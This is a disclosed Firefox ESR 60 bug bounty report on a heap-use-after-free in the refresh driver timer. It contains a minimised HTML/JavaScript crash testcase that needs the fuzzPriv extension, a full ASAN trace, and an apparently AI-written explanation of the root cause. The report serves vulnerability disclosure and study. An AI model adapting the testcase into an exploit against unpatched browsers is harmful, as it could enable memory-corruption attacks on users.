heap-use-after-free in mozilla::RefreshDriverTimer::TickRefreshDrivers
A use-after-free occurs in Firefox's refresh driver timer when an XSLT transform error tears down the presentation shell while a vsync tick is still iterating over the refresh driver array. An attacker could crash the browser's content process, and the freed memory could potentially be reused for code execution.
- Fixed in 9 days
- Paid in 39 days
- Disclosed after 9 days
Created attachment 8986858 crash.html (minimised testcase)
The following testcase crashes the latest ASAN build of Firefox ESR 60 (BuildID=20180621121604). It requires the fuzzPriv extension and requires to be loaded from a HTTP server. I also requires the attached mini.xml in the same directory.
crash.html:
<script> var xhrp=XMLHttpRequest; function spin () { var x=new xhrp(); try{x.open("POST","https://mozilla.org",false);}catch(e){} try{x.send("X");}catch(e){} } function start() { o5=document.createElementNS('http://www.w3.org/1999/xhtml','link'); window.top.setTimeout(fun0, 400); } function fun0() { o87=this; window.top.requestAnimationFrame(fun1); o5.href='mini.xml'; } function fun1() { fuzzPriv.trustedKeyEvent(o5,'press',false,false,false,false,13,0); spin(); spin(); window.fuzzPriv.callDrawWindow(0); xhrp=o87.XMLHttpRequest; spin(); } </script> <body onload="start()"></body>ASAN output:
==28373==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000059d30 at pc 0x7fac2c8bff34 bp 0x7ffe862054f0 sp 0x7ffe862054e8 READ of size 1 at 0x608000059d30 thread T0 (Web Content) #0 0x7fac2c8bff33 in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:313:26 #1 0x7fac2c8bf646 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:333:5 #2 0x7fac2c8c24fe in RunRefreshDrivers /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:774:5 #3 0x7fac2c8c24fe in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::TickRefreshDriver(mozilla::TimeStamp) /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:687 #4 0x7fac2c8c2125 in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::NotifyVsync(mozilla::TimeStamp) /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:588:9 #5 0x7fac2d19016f in mozilla::layout::VsyncChild::RecvNotify(mozilla::TimeStamp const&) /builds/worker/workspace/build/src/layout/ipc/VsyncChild.cpp:68:16 #6 0x7fac263e7829 in mozilla::layout::PVsyncChild::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/build/src/obj-firefox/ipc/ipdl/PVsyncChild.cpp:156:20 #7 0x7fac262bddde in mozilla::ipc::PBackgroundChild::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/build/src/obj-firefox/ipc/ipdl/PBackgroundChild.cpp:1968:28 #8 0x7fac25ede53e in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2134:25 #9 0x7fac25edb594 in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2064:17 #10 0x7fac25edccbc in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1910:5 #11 0x7fac25edd318 in mozilla::ipc::MessageChannel::MessageTask::Run() /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1943:15 #12 0x7fac2503b1b6 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1040:14 #13 0x7fac25054970 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:517:10 #14 0x7fac25ee5ef6 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:125:5 #15 0x7fac25e38889 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #16 0x7fac25e38889 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #17 0x7fac25e38889 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #18 0x7fac2c16544a in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:157:27 #19 0x7fac2fa310bb in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:895:22 #20 0x7fac25e38889 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #21 0x7fac25e38889 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #22 0x7fac25e38889 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #23 0x7fac2fa30aa4 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:721:34 #24 0x4f6f2c in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:50:30 #25 0x4f6f2c in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:280 #26 0x7fac4387f82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #27 0x4265bc in _start (/fuzzer3/esr60/firefox/firefox+0x4265bc)
0x608000059d30 is located 16 bytes inside of 88-byte region [0x608000059d20,0x608000059d78) freed by thread T0 (Web Content) here: #0 0x4c6fc2 in __interceptor_free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:68:3 #1 0x7fac2c8bd05a in Shutdown /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1057:3 #2 0x7fac2c8bd05a in nsRefreshDriver::Disconnect() /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:2451 #3 0x7fac2cac69e6 in nsPresContext::DetachShell() /builds/worker/workspace/build/src/layout/base/nsPresContext.cpp:1112:21 #4 0x7fac2c91e05a in mozilla::PresShell::Destroy() /builds/worker/workspace/build/src/layout/base/PresShell.cpp:1402:19 #5 0x7fac2ca2d712 in nsDocumentViewer::DestroyPresShell() /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:4614:15 #6 0x7fac2ca2e20c in nsDocumentViewer::SetDocumentInternal(nsIDocument*, bool) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1940:5 #7 0x7fac2bc9def2 in nsXMLContentSink::OnTransformDone(nsresult, nsIDocument*) /builds/worker/workspace/build/src/dom/xml/nsXMLContentSink.cpp:380:20 #8 0x7fac2bc9e0af in non-virtual thunk to nsXMLContentSink::OnTransformDone(nsresult, nsIDocument*) /builds/worker/workspace/build/src/dom/xml/nsXMLContentSink.cpp #9 0x7fac2bd39eaf in txMozillaXSLTProcessor::notifyError() /builds/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1192:16 #10 0x7fac2bd2518c in txMozillaXSLTProcessor::reportError(nsresult, char16_t const*, char16_t const*) /builds/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1119:9 #11 0x7fac2bd5e230 in txStylesheetCompiler::cancel(nsresult, char16_t const*, char16_t const*) /builds/worker/workspace/build/src/dom/xslt/xslt/txStylesheetCompiler.cpp:400:20 #12 0x7fac2bd204e7 in HandleStartElement /builds/worker/workspace/build/src/dom/xslt/xslt/txMozillaStylesheetCompiler.cpp:132:20 #13 0x7fac2bd204e7 in non-virtual thunk to txStylesheetSink::HandleStartElement(char16_t const*, char16_t const**, unsigned int, unsigned int) /builds/worker/workspace/build/src/dom/xslt/xslt/txMozillaStylesheetCompiler.cpp #14 0x7fac26eafb55 in nsExpatDriver::HandleStartElement(char16_t const*, char16_t const**) /builds/worker/workspace/build/src/parser/htmlparser/nsExpatDriver.cpp:324:7 #15 0x7fac2da544cb in doContent /builds/worker/workspace/build/src/parser/expat/lib/xmlparse.c:2442:11 #16 0x7fac2da48faa in contentProcessor /builds/worker/workspace/build/src/parser/expat/lib/xmlparse.c:2098:27 #17 0x7fac2da48faa in doProlog /builds/worker/workspace/build/src/parser/expat/lib/xmlparse.c:4078 #18 0x7fac2da3f263 in prologProcessor /builds/worker/workspace/build/src/parser/expat/lib/xmlparse.c:3812:10 #19 0x7fac2da3f263 in prologInitProcessor /builds/worker/workspace/build/src/parser/expat/lib/xmlparse.c:3629 #20 0x7fac2da3d666 in MOZ_XML_Parse /builds/worker/workspace/build/src/parser/expat/lib/xmlparse.c:1530:17 #21 0x7fac26eb5add in nsExpatDriver::ParseBuffer(char16_t const*, unsigned int, bool, unsigned int*) /builds/worker/workspace/build/src/parser/htmlparser/nsExpatDriver.cpp:887:16 #22 0x7fac26eb6def in nsExpatDriver::ConsumeToken(nsScanner&, bool&) /builds/worker/workspace/build/src/parser/htmlparser/nsExpatDriver.cpp:985:5 #23 0x7fac26ec3259 in nsParser::Tokenize(bool) /builds/worker/workspace/build/src/parser/htmlparser/nsParser.cpp:1539:30 #24 0x7fac26ebf006 in nsParser::ResumeParse(bool, bool, bool) /builds/worker/workspace/build/src/parser/htmlparser/nsParser.cpp:1056:41 #25 0x7fac26ec46a7 in nsParser::OnDataAvailable(nsIRequest*, nsISupports*, nsIInputStream*, unsigned long, unsigned int) /builds/worker/workspace/build/src/parser/htmlparser/nsParser.cpp:1437:12 #26 0x7fac2bd21276 in txStylesheetSink::OnDataAvailable(nsIRequest*, nsISupports*, nsIInputStream*, unsigned long, unsigned int) /builds/worker/workspace/build/src/dom/xslt/xslt/txMozillaStylesheetCompiler.cpp:248:23 #27 0x7fac25b05172 in nsCORSListenerProxy::OnDataAvailable(nsIRequest*, nsISupports*, nsIInputStream*, unsigned long, unsigned int) /builds/worker/workspace/build/src/netwerk/protocol/http/nsCORSListenerProxy.cpp:668:20 #28 0x7fac25a8bfa3 in DoOnDataAvailable /builds/worker/workspace/build/src/netwerk/protocol/http/HttpChannelChild.cpp:1040:28 #29 0x7fac25a8bfa3 in mozilla::net::HttpChannelChild::OnTransportAndData(nsresult const&, nsresult const&, unsigned long const&, unsigned int const&, nsTString<char> const&) /builds/worker/workspace/build/src/netwerk/protocol/http/HttpChannelChild.cpp:966 #30 0x7fac25c93356 in mozilla::net::ChannelEventQueue::FlushQueue() /builds/worker/workspace/build/src/netwerk/ipc/ChannelEventQueue.cpp:93:12 #31 0x7fac25c9cdbe in MaybeFlushQueue /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/net/ChannelEventQueue.h:329:5 #32 0x7fac25c9cdbe in CompleteResume /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/net/ChannelEventQueue.h:306 #33 0x7fac25c9cdbe in mozilla::net::ChannelEventQueue::ResumeInternal()::CompleteResumeRunnable::Run() /builds/worker/workspace/build/src/netwerk/ipc/ChannelEventQueue.cpp:161 #34 0x7fac2501509a in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:413:25 #35 0x7fac2503b1b6 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1040:14 #36 0x7fac25054970 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:517:10
previously allocated by thread T0 (Web Content) here: #0 0x4c7303 in malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:88:3 #1 0x4f7dcd in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:70:17 #2 0x7fac2c8aae96 in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:156:12 #3 0x7fac2c8aae96 in PVsyncActorCreated /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:2318 #4 0x7fac2c8aae96 in CreateContentVsyncRefreshTimer /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1007 #5 0x7fac2c8aae96 in CreateVsyncRefreshTimer /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1034 #6 0x7fac2c8aae96 in nsRefreshDriver::ChooseTimer() const /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1142 #7 0x7fac2c8adaaf in nsRefreshDriver::EnsureTimerStarted(nsRefreshDriver::EnsureTimerStartedFlags) /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1378:34 #8 0x7fac2c8adf6a in nsRefreshDriver::AddRefreshObserver(nsARefreshObserver*, mozilla::FlushType) /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1264:3 #9 0x7fac2b9ec954 in mozilla::dom::CoalescedMouseMoveFlusher::StartObserver() /builds/worker/workspace/build/src/dom/ipc/CoalescedMouseData.cpp:92:23 #10 0x7fac2b9ec2b5 in mozilla::dom::TabChild::ProcessPendingCoalescedMouseDataAndDispatchEvents() /builds/worker/workspace/build/src/dom/ipc/TabChild.cpp:1563:32 #11 0x7fac2ba5981d in mozilla::dom::TabChild::RecvRealMouseButtonEvent(mozilla::WidgetMouseEvent const&, mozilla::layers::ScrollableLayerGuid const&, unsigned long const&) /builds/worker/workspace/build/src/dom/ipc/TabChild.cpp:1697:5 #12 0x7fac2655264e in mozilla::dom::PBrowserChild::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/build/src/obj-firefox/ipc/ipdl/PBrowserChild.cpp:3470:20 #13 0x7fac266975bb in mozilla::dom::PContentChild::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/build/src/obj-firefox/ipc/ipdl/PContentChild.cpp:5103:28 #14 0x7fac25ede53e in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2134:25 #15 0x7fac25edb594 in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2064:17 #16 0x7fac25edccbc in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1910:5 #17 0x7fac25edd318 in mozilla::ipc::MessageChannel::MessageTask::Run() /builds/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1943:15 #18 0x7fac2501509a in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:413:25 #19 0x7fac2503b1b6 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1040:14 #20 0x7fac25054970 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:517:10 #21 0x7fac25ee5f0a in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21 #22 0x7fac25e38889 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #23 0x7fac25e38889 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #24 0x7fac25e38889 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #25 0x7fac2c16544a in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:157:27 #26 0x7fac2fa310bb in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:895:22 #27 0x7fac25e38889 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #28 0x7fac25e38889 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #29 0x7fac25e38889 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #30 0x7fac2fa30aa4 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:721:34 #31 0x4f6f2c in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:50:30 #32 0x4f6f2c in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:280 #33 0x7fac4387f82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:313:26 in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) Shadow bytes around the buggy address: 0x0c1080003350: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa 0x0c1080003360: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa 0x0c1080003370: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa 0x0c1080003380: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa 0x0c1080003390: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa =>0x0c10800033a0: fa fa fa fa fd fd[fd]fd fd fd fd fd fd fd fd fa 0x0c10800033b0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c10800033c0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c10800033d0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c10800033e0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c10800033f0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==28373==ABORTING
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the refresh driver timer iterates a list of refresh drivers without holding a strong reference, so an XSLT error path that destroys the presentation shell frees a driver mid-iteration.
Impact
The content process crashes; the freed memory could potentially be reused, though the report only demonstrates a crash under ASAN.
What the attacker needed
FuzzPriv extension installed; page served over HTTP; companion XML file present
How it was found
- Load the test page from an HTTP server with the fuzzPriv extension and a companion XML file in the same directory.
- The page creates a link element and schedules a timer that sets the link's href to the XML file.
- On the next animation frame, a synthetic key event is sent to the link, synchronous XHRs are spun, and a draw-window call is made.
- The XSLT error during the XML load destroys the presentation shell and frees the refresh driver.
- The pending vsync tick then reads the freed refresh driver, and ASAN aborts.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A use-after-free is when a program frees a chunk of memory but keeps using it afterwards, like deleting a file and then opening it. Here Firefox's page-refresh timer kept a pointer to a refresh driver that had already been destroyed during an XSLT error, so it read freed memory. At minimum this crashes the browser tab; with more work an attacker might turn it into running their own code.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.